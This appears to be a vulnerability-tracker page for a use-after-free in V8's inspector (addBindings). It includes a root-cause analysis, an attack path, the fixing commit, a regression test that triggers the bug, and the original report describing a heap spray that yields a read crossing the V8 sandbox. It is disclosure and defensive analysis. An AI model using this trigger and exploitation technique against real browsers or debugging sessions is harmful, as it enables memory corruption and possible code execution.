Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Action tierwatch — corruption primitive but gated (local) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker517972812
Fix commit7a5484e4f6ea (v8/v8) +50/-4
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedyupyon.itome
Reported2026-05-30 (per vendor advisory)
Fix landed2026-06-15 (public git)
Disclosed2026-07-29
Patch gap44 days — fix public in source before the advisory

Background

`InspectedContext`
A V8 inspector object that wraps a JavaScript execution context and is owned by the V8InspectorImpl, tracked by contextGroupId and contextId.
`addBinding`
A CDP-driven operation on V8RuntimeAgentImpl that installs a named global property whose accessor calls back into the inspector when JavaScript reads or writes it.
Context destruction
When a JavaScript context is torn down (e.g. via inspector.fireContextDestroyed()), the inspector frees the corresponding InspectedContext, invalidating any raw pointer to it.
Reentrancy
Because addBinding synchronously runs V8 code that can install user-controlled property setters, the caller can be reentered and its context freed mid-loop.

Root Cause Analysis

V8RuntimeAgentImpl::addBindings iterated over the registered global and per-context bindings, calling addBinding(context, ...) for each entry while holding a raw InspectedContext*. Installing a binding synchronously executes V8, so attacker-controlled JavaScript (e.g. an Object.prototype setter reached during binding installation) could call back into the inspector and destroy the very InspectedContext being iterated, freeing it. The loop then dereferenced the now-dangling context pointer on the next iteration — and callers such as V8InspectorImpl::contextCreated further used the pointer after addBindings returned — violating the invariant that context stays alive for the duration of the loop.

The fix re-checks m_inspector->getContext(contextGroupId, contextId) after every addBinding call and returns early if the context has vanished, and the caller side stops holding a shared_ptr reference that merely papered over the freed-context edge case, so no dangling pointer is dereferenced.

Key insight
The core mistake was assuming an InspectedContext* remains valid across a loop that synchronously runs untrusted JavaScript able to destroy that context; the fix re-validates the context by id after each reentrant addBinding and bails out early instead of continuing to use freed memory.

Attack Path

  1. Enable Runtime and register bindings The attacker connects a debugging session and calls Runtime.addBinding for names such as x and y, so V8RuntimeAgentImpl::addBindings will later iterate over multiple entries.
  2. Plant a malicious setter Via Runtime.evaluate, the attacker defines a setter on Object.prototype for the binding name so that assigning the global binding triggers attacker JavaScript.
  3. Trigger reentrant destruction When addBinding installs the global property, the planted setter runs and synchronously calls inspector.fireContextDestroyed(), freeing the current InspectedContext.
  4. Dereference freed context Control returns to the addBindings loop, which advances to the next binding and dereferences the freed context pointer (and callers reuse it afterward), producing a use-after-free.

Impact Assessment

An attacker who can drive the CDP Runtime domain (e.g. via DevTools automation, an extension, or an embedder exposing the inspector) gains a use-after-free on a freed InspectedContext in the process hosting V8, which can be shaped into memory corruption and potentially code execution. The precondition is the ability to register bindings and run script in a context that is then destroyed during binding installation, so exploitation requires inspector/CDP access rather than plain web content in a default browser configuration.

Changed Functions

FunctionChangeNotes
if
src/inspector/v8-runtime-agent-impl.cc
modified

Files Changed

  • src/inspector/v8-inspector-impl.cc
  • src/inspector/v8-runtime-agent-impl.cc
  • test/inspector/runtime/regress-517972812-expected.txt
  • test/inspector/runtime/regress-517972812.js

Audit Directions

  • Reentrant loops over freed-able objects
    Audit any loop that holds a raw pointer while synchronously invoking V8 or user callbacks, and confirm the object is re-validated (by id or handle) after each callback.
  • CDP handlers running untrusted script
    Review inspector agent methods that install accessors, evaluate expressions, or fire lifecycle events, since these can reenter and destroy inspector-owned objects mid-operation.
  • shared_ptr as a lifetime band-aid
    Look for places where a shared_ptr reference is held solely to keep an object alive across reentrancy; these often hide a missing liveness check and can still leave callers using a logically destroyed object.
From 7a5484e4f6ea917d7070c7407a3d06409d52883d Mon Sep 17 00:00:00 2001
From: Yulun Zeng <yulunz@chromium.org>
Date: Tue, 09 Jun 2026 19:20:47 +0000
Subject: [PATCH] Handle context destruction when adding binding within V8RuntimeAgentImpl::restore.

Instead of holding a reference in the caller, this commit adds early
returns after each addBinding(). So that all callers to addBindings()
don't have to deal with the edge case (where context is destroyed when
adding binding).

This resolves the issue both in this bug and
https://crrev.com/c/7904365.

Bug: 517972812
Change-Id: I7f74308061f9f194c128697632a84cbe95d4f22f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7914828
Reviewed-by: Simon Zünd <szuend@chromium.org>
Commit-Queue: Yulun Zeng <yulunz@chromium.org>
Reviewed-by: Kim-Anh Tran <kimanh@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107997}
---

diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index ade7809..5e9a512 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -309,13 +309,12 @@
   DCHECK(contextById->find(contextId) == contextById->cend());
   (*contextById)[contextId].reset(context);
   int contextGroupId = info.contextGroupId;
-  std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId];
   forEachSession(contextGroupId, [this, contextGroupId, contextId,
-                                  contextRef](V8InspectorSessionImpl* session) {
+                                  &context](V8InspectorSessionImpl* session) {
     if (!getContext(contextGroupId, contextId)) return;
-    session->runtimeAgent()->addBindings(contextRef.get());
+    session->runtimeAgent()->addBindings(context);
     if (!getContext(contextGroupId, contextId)) return;
-    session->runtimeAgent()->reportExecutionContextCreated(contextRef.get());
+    session->runtimeAgent()->reportExecutionContextCreated(context);
   });
 }
 
diff --git a/src/inspector/v8-runtime-agent-impl.cc b/src/inspector/v8-runtime-agent-impl.cc
index e6ce30c..b17432c 100644
--- a/src/inspector/v8-runtime-agent-impl.cc
+++ b/src/inspector/v8-runtime-agent-impl.cc
@@ -1071,6 +1071,8 @@
 }
 
 void V8RuntimeAgentImpl::addBindings(InspectedContext* context) {
+  int contextGroupId = context->contextGroupId();
+  int contextId = context->contextId();
   const String16 contextName = context->humanReadableName();
   if (!m_enabled) return;
 
@@ -1079,6 +1081,7 @@
   if (globalBindings) {
     for (size_t i = 0; i < globalBindings->size(); ++i) {
       addBinding(context, globalBindings->at(i).first);
+      if (!m_inspector->getContext(contextGroupId, contextId)) return;
     }
   }
 
@@ -1090,6 +1093,7 @@
     if (bindings) {
       for (size_t i = 0; i < bindings->size(); ++i) {
         addBinding(context, bindings->at(i).first);
+        if (!m_inspector->getContext(contextGroupId, contextId)) return;
       }
     }
   }
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      delete globalThis.y;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+    `,
+  });
+
+  // === TRIGGER ===
+  session.reconnect();
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      delete globalThis.y;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+    `,
+  });
+
+  // === TRIGGER ===
+  session.reconnect();
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by yu...@gmail.com

Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free

Steps to reproduce the problem

Attached: poc-uaf.js, poc-sandbox-read.js

  1. Build inspector-test (HEAD 6ac60d22f45, V8 15.0.0).

    gn gen out/asan –args=‘is_debug=false symbol_level=2
    v8_enable_sandbox=true is_asan=true’ gn gen out/sandbox –args=‘is_debug=false symbol_level=2
    v8_enable_sandbox=true is_asan=false’ autoninja -C out/asan inspector-test autoninja -C out/sandbox inspector-test

  2. Run UAF PoC under ASan.

    ASAN_OPTIONS=‘abort_on_error=0:halt_on_error=1:detect_leaks=0’
    ./out/asan/inspector-test
    test/inspector/protocol-test.js
    poc-uaf.js

    Output:

    PoC H-2026-2981: addBindings loop UAF after iter-0 destroys context. Step 1: enable Runtime agent. Step 2: persist two global bindings (“a”,“b”). Step 3: delete own bindings; install Object.prototype.a setter that destroys the inspected context. Step 4: reconnect to drive restore() -> addBindings(ctx).

    ==148588==ERROR: AddressSanitizer: heap-use-after-free on address 0x74957f5f4f50 at pc 0x5f6fac5bed1b READ of size 4 at 0x74957f5f4f50 thread T7 (Task Runner) #0 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/inspected-context.h:49:34 #1 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #2 v8_inspector::V8InspectorImpl::forEachContext(…) #3 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #4 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …

    0x74957f5f4f50 is located 16 bytes inside of 232-byte region [0x74957f5f4f40,0x74957f5f5028) freed by thread T7 (Task Runner) here: #0 operator delete(void*, unsigned long) #1 v8_inspector::V8InspectorImpl::contextCollected(int, int) third_party/libc++/…/shared_count.h:65:7 #2 v8::internal::InspectorIsolateData::FireContextDestroyed(…) test/inspector/isolate-data.cc:438:15 … (setter callback) #15 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:996:39 <- iter-0 Set #16 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7

    previously allocated by thread T7 (Task Runner) here: #0 operator new(unsigned long) #1 v8_inspector::V8InspectorImpl::contextCreated(…) src/inspector/v8-inspector-impl.cc:288:19

    SUMMARY: AddressSanitizer: heap-use-after-free src/inspector/inspected-context.h:49:34 in v8_inspector::V8RuntimeAgentImpl::addBinding(…) ==148588==ABORTING

  3. Run out-of-sandbox-read PoC under V8 sandbox crash filter.

    The same trigger plus a freelist spray inside the setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context() dereference at line 988 follows the substituted pointer.

    ./out/sandbox/inspector-test –sandbox-testing
    test/inspector/protocol-test.js
    poc-sandbox-read.js

    Output:

    Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored. Sandbox bounds: [0x85300000000,0x95300000000) PoC H-2026-2981 byte-controlled spray. Step 1: enable Runtime agent. Step 2: persist two distinct global bindings (“a”,“b”). Step 3: install setter that frees + sprays. Step 4: reconnect to drive restore() -> addBindings(ctx).

    V8 sandbox violation detected!

    The sandbox violation was a read access which is technically not a sandbox violation. This requires manual investigation. UndefinedBehaviorSanitizer:DEADLYSIGNAL ==148664==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x00077d2e40a0 (pc 0x5c482db56605 …) ==148664==The signal is caused by a READ memory access. #0 v8_inspector::InspectedContext::context() const src/inspector/inspected-context.cc:117 #1 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:988:50 #2 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #3 v8_inspector::V8InspectorImpl::forEachContext(…) #4 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #5 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …

    The read address (0x00077d2e40a0) lies outside the V8 sandbox cage (0x85300000000 - 0x95300000000), confirming that the UAF yields a read primitive crossing the V8 sandbox boundary.

Per src/inspector/SEC

Problem Description

Variant of bug 507508114 (commit 5a7de4a07b0). The prior fix protected the leaf function addBinding but left the outer-loop caller addBindings unprotected. addBindings holds a raw InspectedContext* across multiple addBinding calls; iteration N’s global->Set() is JS-reentrant via Object.prototype setters, and a setter that destroys the inspected context drops the sole shared_ptr to InspectedContext. Iteration N+1 dereferences the freed pointer at its first statement.

Vulnerable loop (src/inspector/v8-runtime-agent-impl.cc:1073-1096):

void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { … for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); // 1081 } for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); // 1092 } }

Each addBinding(context, name):

  1. int contextId = context->contextId(); // 982 DEREF
  2. v8::Localv8::Context ctx = context->context(); // 988 DEREF
  3. global->Set(ctx, v8Name, fn); // 996 JS-REENTRANT
  4. if (m_inspector->getContext(…) != context) // 1001 5a7de4a07b0 guard return; (protects iter-N write, not iter-N+1 entry)
  5. m_activeBindings[name].insert(contextId);

The freed object InspectedContext is allocated via new InspectedContext(...) at src/inspector/v8-inspector-impl.cc:288 on the libc C++ heap, outside the V8 sandbox. The UAF therefore yields a primitive that crosses the V8 sandbox boundary unconditionally, with no prior memory primitive assumed.

Observed primitive 1 (ASan oracle): 4-byte read of m_contextId at offset 16 of the freed slot.

Observed primitive 2 (out-of-sandbox read): standard libc-heap freelist spray during the synchronous setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context->context() at line 988 loads the substituted pointer and dereferences it, reaching memory outside the V8 sandbox cage. Confirmed under –sandbox-testing: V8’s sandbox crash filter reports “sandbox violation detected” with a SEGV READ at an address outside the cage bounds.

Composable write: the subsequent global->Set(ctx, v8Name, fn) at line 996 writes a JSFunction handle to the target reached through context()->Global(), yielding an out-of-sandbox write on the same trigger.

Attacker model: web-content. Reachable from any page being inspected by DevTools (SECURITY.md: high severity, “minimal user interaction”), or from a Chrome extension with the “debugger” permission. Triggers automatically on session reattach once persisted globalBindings is populated: Runtime.addBinding survives across sessions in m_state, so two addBinding commands plus a setter on Object.prototype plus a session reattach are sufficient.

In Chromium production, the test-only inspector.fireContextDestroyed() in the PoC is replaced by any setter body that synchronously triggers V8InspectorClient::contextDestroyed on the current LocalFrame (e.g. detaching the frame).

Fix: re-validate context between iterations of the addBindings loops via m_inspector->getContext(groupId, contextId), mirroring the 5a7de4a07b0 shape one frame up. Capture contextId before the loop; do not carry the raw InspectedContext* across the JS-reentrant call.

Source references (HEAD 6ac60d22f45, V8 15.0.0):

src/inspector/v8-runtime-agent-impl.cc:1073-1096 vulnerable loop src/inspector/v8-runtime-agent-impl.cc:982 UAF read 1 (contextId) src/inspector/v8-runtime-agent-impl.cc:988 UAF read 2 (context, OOS) src/inspector/v8-runtime-agent-impl.cc:996 JS-reentrant Set (OOS write) src/inspector/v8-runtime-agent-impl.cc:1001 5a7de4a07b0 guard src/inspector/v8-runtime-agent-impl.cc:1116 restore() caller src/inspector/v8-inspector-impl.cc:288 alloc (libc heap, OOS) src/inspector/v8-inspector-impl.cc:460 free (discardInspectedContext)

Summary

Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free

Custom Questions

Type of crash:

TAB

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: No \

View on issue tracker